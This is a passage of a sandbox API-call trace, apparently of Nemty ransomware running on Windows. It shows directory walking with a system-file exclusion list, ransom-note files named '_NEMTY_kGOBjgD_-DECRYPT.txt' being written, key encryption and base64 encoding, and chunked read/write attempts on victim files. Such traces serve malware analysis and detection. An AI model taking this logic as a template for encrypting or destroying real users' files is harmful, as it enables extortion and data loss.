out: lpMultiByteStr="setup_wm.exe", lpUsedDefaultChar=0x0) returned 12 [0107.109] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0107.109] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0107.109] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="setup_wm.exe", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0107.109] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="setup_wm.exe", cchWideChar=12, lpMultiByteStr=0x653f618, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup_wm.exe", lpUsedDefaultChar=0x0) returned 12 [0107.109] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0107.110] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94168 [0107.110] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f940f0 | out: hHeap=0x4f90000) returned 1 [0107.110] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9874cd8b, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x9874cd8b, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xb, dwReserved1=0x4f90000, cFileName="Skins", cAlternateFileName="")) returned 1 [0107.110] lstrcmpiW (lpString1="Skins", lpString2=".") returned 1 [0107.110] lstrcmpiW (lpString1="Skins", lpString2="..") returned 1 [0107.110] lstrcmpiW (lpString1="Skins", lpString2="...") returned 1 [0107.110] lstrcmpiW (lpString1="Skins", lpString2="windows") returned -1 [0107.110] lstrcmpiW (lpString1="Skins", lpString2="$RECYCLE.BIN") returned 1 [0107.110] lstrcmpiW (lpString1="Skins", lpString2="rsa") returned 1 [0107.110] lstrcmpiW (lpString1="Skins", lpString2="NTDETECT.COM") returned 1 [0107.110] lstrcmpiW (lpString1="Skins", lpString2="ntldr") returned 1 [0107.110] lstrcmpiW (lpString1="Skins", lpString2="MSDOS.SYS") returned 1 [0107.110] lstrcmpiW (lpString1="Skins", lpString2="IO.SYS") returned 1 [0107.110] lstrcmpiW (lpString1="Skins", lpString2="boot.ini") returned 1 [0107.110] lstrcmpiW (lpString1="Skins", lpString2="boot.ini") returned 1 [0107.110] lstrcmpiW (lpString1="Skins", lpString2="AUTOEXEC.BAT") returned 1 [0107.110] lstrcmpiW (lpString1="Skins", lpString2="ntuser.dat") returned 1 [0107.110] lstrcmpiW (lpString1="Skins", lpString2="desktop.ini") returned 1 [0107.110] lstrcmpiW (lpString1="Skins", lpString2="CONFIG.SYS") returned 1 [0107.110] lstrcmpiW (lpString1="Skins", lpString2="RECYCLER") returned 1 [0107.110] lstrcmpiW (lpString1="Skins", lpString2="BOOTSECT.BAK") returned 1 [0107.110] lstrcmpiW (lpString1="Skins", lpString2="bootmgr") returned 1 [0107.110] lstrcmpiW (lpString1="Skins", lpString2="programdata") returned 1 [0107.110] lstrcmpiW (lpString1="Skins", lpString2="appdata") returned 1 [0107.110] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Skins", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0107.110] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Skins", cchWideChar=5, lpMultiByteStr=0x653f590, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Skins", lpUsedDefaultChar=0x0) returned 5 [0107.110] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Skins", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0107.110] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Skins", cchWideChar=5, lpMultiByteStr=0x653f590, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Skins", lpUsedDefaultChar=0x0) returned 5 [0107.110] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f94088 [0107.110] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94168 | out: hHeap=0x4f90000) returned 1 [0107.110] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f940f0 [0107.110] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0107.110] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0107.110] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0107.110] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0107.110] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0107.111] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0107.111] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94158 [0107.111] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0107.111] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xbe) returned 0x4f941e0 [0107.111] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94158 | out: hHeap=0x4f90000) returned 1 [0107.111] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\Skins\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\windows media player\\skins\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c4 [0107.111] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941e0 | out: hHeap=0x4f90000) returned 1 [0107.111] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0107.111] WriteFile (in: hFile=0x3c4, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f540, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653f540*=0xef8, lpOverlapped=0x0) returned 1 [0107.112] CloseHandle (hObject=0x3c4) returned 1 [0107.112] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0107.112] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f940f0 | out: hHeap=0x4f90000) returned 1 [0107.112] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f940f0 [0107.112] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f94158 [0107.113] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f941c0 [0107.113] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0107.113] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0107.113] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0107.113] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0107.113] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0107.113] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0107.113] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94228 [0107.113] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0107.113] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xbe) returned 0x4f942b0 [0107.113] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94228 | out: hHeap=0x4f90000) returned 1 [0107.113] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\Skins\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\windows media player\\skins\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c4 [0107.114] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942b0 | out: hHeap=0x4f90000) returned 1 [0107.114] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0107.114] WriteFile (in: hFile=0x3c4, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f200, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653f200*=0xef8, lpOverlapped=0x0) returned 1 [0107.114] CloseHandle (hObject=0x3c4) returned 1 [0107.115] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0107.115] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941c0 | out: hHeap=0x4f90000) returned 1 [0107.115] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f941c0 [0107.115] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Media Player\\Skins\\*.*", lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xf37ce570, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xf37ce570, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423930 [0107.115] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0107.115] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xf37ce570, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xf37ce570, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0107.115] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0107.115] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0107.115] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9277700, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa9277700, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa9277700, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x10689, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="Revert.wmz", cAlternateFileName="")) returned 1 [0107.115] lstrcmpiW (lpString1="Revert.wmz", lpString2=".") returned 1 [0107.115] lstrcmpiW (lpString1="Revert.wmz", lpString2="..") returned 1 [0107.115] lstrcmpiW (lpString1="Revert.wmz", lpString2="...") returned 1 [0107.115] lstrcmpiW (lpString1="Revert.wmz", lpString2="windows") returned -1 [0107.115] lstrcmpiW (lpString1="Revert.wmz", lpString2="$RECYCLE.BIN") returned 1 [0107.115] lstrcmpiW (lpString1="Revert.wmz", lpString2="rsa") returned -1 [0107.115] lstrcmpiW (lpString1="Revert.wmz", lpString2="NTDETECT.COM") returned 1 [0107.115] lstrcmpiW (lpString1="Revert.wmz", lpString2="ntldr") returned 1 [0107.115] lstrcmpiW (lpString1="Revert.wmz", lpString2="MSDOS.SYS") returned 1 [0107.115] lstrcmpiW (lpString1="Revert.wmz", lpString2="IO.SYS") returned 1 [0107.115] lstrcmpiW (lpString1="Revert.wmz", lpString2="boot.ini") returned 1 [0107.115] lstrcmpiW (lpString1="Revert.wmz", lpString2="boot.ini") returned 1 [0107.115] lstrcmpiW (lpString1="Revert.wmz", lpString2="AUTOEXEC.BAT") returned 1 [0107.115] lstrcmpiW (lpString1="Revert.wmz", lpString2="ntuser.dat") returned 1 [0107.115] lstrcmpiW (lpString1="Revert.wmz", lpString2="desktop.ini") returned 1 [0107.115] lstrcmpiW (lpString1="Revert.wmz", lpString2="CONFIG.SYS") returned 1 [0107.115] lstrcmpiW (lpString1="Revert.wmz", lpString2="RECYCLER") returned 1 [0107.115] lstrcmpiW (lpString1="Revert.wmz", lpString2="BOOTSECT.BAK") returned 1 [0107.115] lstrcmpiW (lpString1="Revert.wmz", lpString2="bootmgr") returned 1 [0107.116] lstrcmpiW (lpString1="Revert.wmz", lpString2="programdata") returned 1 [0107.116] lstrcmpiW (lpString1="Revert.wmz", lpString2="appdata") returned 1 [0107.116] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0107.116] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Revert.wmz", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0107.116] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Revert.wmz", cchWideChar=10, lpMultiByteStr=0x653f250, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Revert.wmz", lpUsedDefaultChar=0x0) returned 10 [0107.116] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0107.116] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Revert.wmz", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0107.116] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Revert.wmz", cchWideChar=10, lpMultiByteStr=0x653f250, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Revert.wmz", lpUsedDefaultChar=0x0) returned 10 [0107.116] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0107.116] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0107.116] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0107.116] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Revert.wmz", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0107.116] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Revert.wmz", cchWideChar=10, lpMultiByteStr=0x653f2a0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Revert.wmz", lpUsedDefaultChar=0x0) returned 10 [0107.116] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0107.116] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0107.116] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Revert.wmz", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0107.116] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Revert.wmz", cchWideChar=10, lpMultiByteStr=0x653f2d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Revert.wmz", lpUsedDefaultChar=0x0) returned 10 [0107.116] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0107.116] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94228 [0107.116] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941c0 | out: hHeap=0x4f90000) returned 1 [0107.116] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f942a0 [0107.116] Sleep (dwMilliseconds=0x5) [0107.124] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xf37f46d0, dwHighDateTime=0x1d561e7)) [0107.124] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xf37f46d0, dwHighDateTime=0x1d561e7)) [0107.124] GetLastError () returned 0xb7 [0107.124] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0107.124] GetLastError () returned 0xb7 [0107.124] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0107.124] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0107.125] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0107.125] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0107.125] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0107.125] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0107.125] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0107.125] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ef9c | out: pszString="NSAqpe0VqnI3hudoV0uG8lhtgJgVogtP7xPS4w8p4fbo+wjS4ZP/JDNmJXNr8iqq\r\nUPZMlWckTQZoFXerZSpxDtHA2pKB4Ds+8l28YrOugIMTMAUNEpOVx+Hikroqiifr\r\nrhh1YCZID4VtL9EolTMcxRvZ3Zs8WCULGCPqPg/TtuQf8OS/tZVffw1TbWtSnDwH\r\nSXTAQ0NACpR6xEYTmYYYhCUrP5nuCXh0byds/XpbFCdNDFGyQwVY8MCp9XqinsfQ\r\nIABcI3kWgaOJJIe04ULfgElPTEEZCXKazN3sQqv2c1ux/RYsadOwjjOvHxvLzZnq\r\nU47vpWx1hKeHBlVqaR2q0Q==\r\n", pcchString=0x653ef9c) returned 1 [0107.125] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0107.125] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0107.125] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0107.125] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0107.125] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0107.125] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0107.125] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\Skins\\Revert.wmz" (normalized: "c:\\program files\\windows media player\\skins\\revert.wmz"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.125] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=18150282790957604) returned 0 [0107.125] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0107.125] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.125] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0107.135] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.135] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0107.135] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.135] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0107.144] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.144] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0107.144] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.144] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0107.154] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.154] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0107.154] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.154] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0107.163] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.163] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0107.163] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.163] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0107.179] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.179] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0107.179] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.179] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0107.188] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.188] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0107.188] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.188] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0107.198] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: 